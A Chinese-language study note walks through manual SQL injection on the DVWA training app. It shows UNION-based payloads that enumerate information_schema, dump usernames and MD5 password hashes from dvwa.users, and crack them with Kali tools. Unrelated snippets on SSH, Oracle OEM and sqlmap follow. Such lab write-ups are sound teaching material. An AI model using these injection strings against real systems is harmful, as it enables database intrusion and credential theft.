終於到了sql注入
最大的、最經典的、最常見的web漏洞就是sql注入漏洞
開啟dvwa,sql注入測試模組
測試單引號,發現出錯,於是想到測試語句:
1' or '1'='1
成功:
測試是否存在漏洞:
1' and '1'='1 如果返回資料,但是1' and '1'='0 不返回資料,代表存在sql注入
或者簡易一些:1' and '1 返回但是1' and '0不返回資料
進一步:
猜測當前sql語句總共查詢了多少字段:
' order by 50 --
注意--後邊必須跟乙個空格,--作用是注釋最後乙個單引號,必須跟空格
首先猜測50過大會報錯:
unknown column '50' in 'order clause'然後繼續猜測小於五十的數:
直到我猜測到2
當我把這裡修改成2後,提交沒有任何反應
於是得出結論:查詢了兩個字段,原始碼驗證sql語句為:
select first_name, last_name from users where user_id = '$id'
猜測成功,查詢了兩個字段
接下來我想在後邊加入select語句來執行查詢命令:
不過兩個select語句連在一起是不允許的
於是想到使用聯合查詢(union)
注意:--跟上空格
這時候可以進一步確定:firstname為第乙個字段,surname是第二個字段
既然知道了1,2對應的位置,那麼就可以使用sql函式來查詢其他資訊:
比如這裡我查詢到了資料庫當前的使用者
再使用:' union select user(),version() --
可以查到資料庫版本:
聯絡日常經驗:5版本的資料庫不會是mssql或者oracle
最流行的5版本資料庫就是mysql
查詢當前資料庫:database函式
使用全域性函式:
類似地:
查詢作業系統:
切分字串的功能:
' union select null,substring_index(user(),"@",1) --
這句話的意思是查出來user資訊,然後以@分隔開,取前一部分
有時候我們提交的字元會被伺服器過濾,於是可以使用sql的char函式進行ascii碼轉換
如果我們需要查很多的函式,而顯示的位置很好,可以聯合函式concat_ws
使用乙個稍複雜的sql語句:
' union select concat_ws(char(32,58,32),user(),database(),version()),null --
這裡的char(32,58,32)是空格冒號空格,方便顯示
mysql的資料儲存相對簡單,有乙個元資料表infotmation_schema表
於是可以利用這張表查詢資料庫的很多資訊:
查詢所有庫裡面的所有表:
' union select table_name,table_schema from information_schema.tables --
找到了dvwa庫裡面的很多表:
查詢每乙個庫有多少表:
' union select table_schema,count(*) from information_schema.tables group by table_schema --
只針對dvwa庫進行查詢:
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' --
查詢dvwa庫中users表都有哪些字段:
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' --
知道了有user和password兩列,我們就可以直接進行查詢了:
' union select user,password from dvwa.users --
查到了所有的使用者名稱和加密的密碼
使用concat來改一下顯示格式也行:
' union select null,concat(user,0x3a,password) from dvwa.users --
加密的密碼根據長度猜測為md5加密
也可以使用kali的hash-identifier來驗證:
於是考慮如何解密:把這些指定格式的使用者名稱密碼複製出來,弄到乙個文字中
破解成功:
kali 服務篇 學習筆記
ssh secure shell 的縮寫,是建立在應用層基礎上的安全協議。ssh是較為可靠的專為遠端登入會話和其他網路服務提供安全性的協議。利用用 ssh 協議可以有效防止遠端管理過程中的資訊洩露問題。scp 命令 命令 將本機檔案複製到遠端伺服器上 上傳 命令格式 scp 本地檔案路徑 usern...
Oracle學習筆記 oem手工管理
oem oracle企業管理器。圖形化 整合化 b s化的管理工具 1.建立 emca config dbcontrol db repos create 2.刪除 emca deconfig dbcontrol db repos drop 第一次執行出錯 第二次執行才能順利完成!好幾次了都這樣。3....
Kali學習筆記44 SQLMAP
sqlmap漏洞檢測技術 1.基於布林的盲注檢測 and 1 1 and 1 2等 2.基於時間的盲注檢測 and select from select sleep 20 a 3.基於錯誤的盲注檢測 比如輸入單引號報錯 4.基於聯合查詢的檢測 取決於開發者是否使用迴圈語句,如果使用,才可以查出多條資...